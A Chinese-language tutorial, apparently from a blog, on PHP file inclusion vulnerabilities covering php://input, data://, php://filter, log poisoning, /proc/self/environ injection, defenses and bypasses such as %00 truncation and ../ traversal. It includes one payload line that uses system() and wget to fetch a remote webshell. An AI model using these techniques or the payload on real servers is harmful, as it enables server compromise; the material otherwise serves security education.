文件包含漏洞原理:(php)

  是指当服务器开启allow_url_include选项的时候,通过php某些特性函数、如include()、include_once()、require()、require_once(),使用url动态的去包含文件,此时如果对包含的文件没有进行过滤,就可能导致任意文件读取和任意命令执行。

  文件包含漏洞分为本地文件包含和远程文件包含

  远程文件包含是因为allow_url_fopen=on开启,导致本地服务器可以包含远程服务器上的一个文件,如果对这个文件没有进行审查,可能会导致意想不到的结果

文件包含的利用方式:

  1.包含上传文件:我们可以在上传的文件中写入脚本、在知道路径的情况下可以连接拿shell

  2.使用一些php伪协议:(php://input、data、php://filter)

    ①php://input协议和data协议

      php://input协议和data协议的使用前提是allow_url_include需要开启。

      Ⅰ:php://input默认接收post传来的参数,我们可以使用input上传我们需要执行的语句(一句话,文件,命令)

        我们可以使用hackbar插件对post进行构造  

        条件:

          php <5.0 ,allow_url_include=Off 情况下也可以用

          php > 5.0,只有在allow_url_fopen=On 时才能使用

         Ⅱ:data://协议、主要是使用文字和图片命令,直接在url中进行构造

          文字命令和php://input中的一句话类似,图片命令主要是图片马

    ②php://filter:我们可以使用这个协议查看源码,不过源码是以base64加密传输过来的

  3.包含日志文件:

    我们在url中输入的信息一般都会保存到日志文件中,如果我们在url中输入脚本代码,那么这个脚本代码也会保存到日志文件中,如果此时我们知道这个脚本保存的日志文件的路径,那么我们可以直接连接执行。这个方法在凌晨的时候是最方便的,因为日志文件是一天一保存,凌晨时候,日志文件最少,我们利用起来更加方便。

  4.包含/proc/self/environ文件

    找到文件包含漏洞,尝试访问/proc/self/environ文件,访问成功的话,在user-agent头中添加脚本代码

<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

防御方法:

  1.在不必须的情况下,关闭allow_url_include选项

  2.使用白名单和黑名单对可包含的文件进行限制

  3.尽量不使用动态包含

  4.在服务端和客户端都进行过滤

绕过方法:

  1.00%进行截断,00%可以截断file变量后面的字符串

  2.使用./构造超长字符串进行截断

  3.使用../进行目录遍历

  4.使用?进行截断,使用原理和%00相同

  

最新文章

  1. C#重构之道
  2. 使用 IntelliJ IDEA 2016和Maven创建Java Web项目的详细步骤及相关问题解决办法
  3. eq相等 ,ne、neq不相等 EL表达式
  4. linux和Dos下换行符转换
  5. Windows.document对象
  6. 【原】手写一个promise
  7. MATLAB &#39; : &#39; 官方解释
  8. iOS 开发之照片框架详解之二 —— PhotoKit 详解(下)
  9. shiro的入门实例-shiro于spring的整合
  10. 时间戳转换成时间js(年-月-日,例如“2017-04-22”)
  11. Vue簡介
  12. (1.16)mysql server优化之buffer pool
  13. jQuery 知识点总结
  14. ssh repo ----&gt; struts+hibernate+spring( jar包和源码)各版本下载链接
  15. ubuntu高版本如何设置开机启动脚本
  16. 设a、b、c均是0到9之间的数字,abc、bcc是两个三位数,且有:abc+bcc=532。求满足条件的所有a、b、c的值。
  17. unity---Courtine 协程
  18. 配置阿里云ESC服务器部署项目
  19. Oracle 下马观花看redo
  20. 使用MYSQL+Redis完成分页读取功能

热门文章

  1. LDheatmap | SNP连锁不平衡图(LD)可视化,自己数据实现版!
  2. hadoop中如何动态更新集群队列和容量
  3. python学习之变量以及变量/标识符/关键字
  4. C# 中 枚举Enum 一些转换的方法整理
  5. 计算机网络——简单说说WebSocket协议
  6. android 压缩图片大小,防止OOM
  7. ql的python学习之路-day9
  8. MyBatis入门知识汇总
  9. Reflux之Action
  10. wordpress另一更新正在进行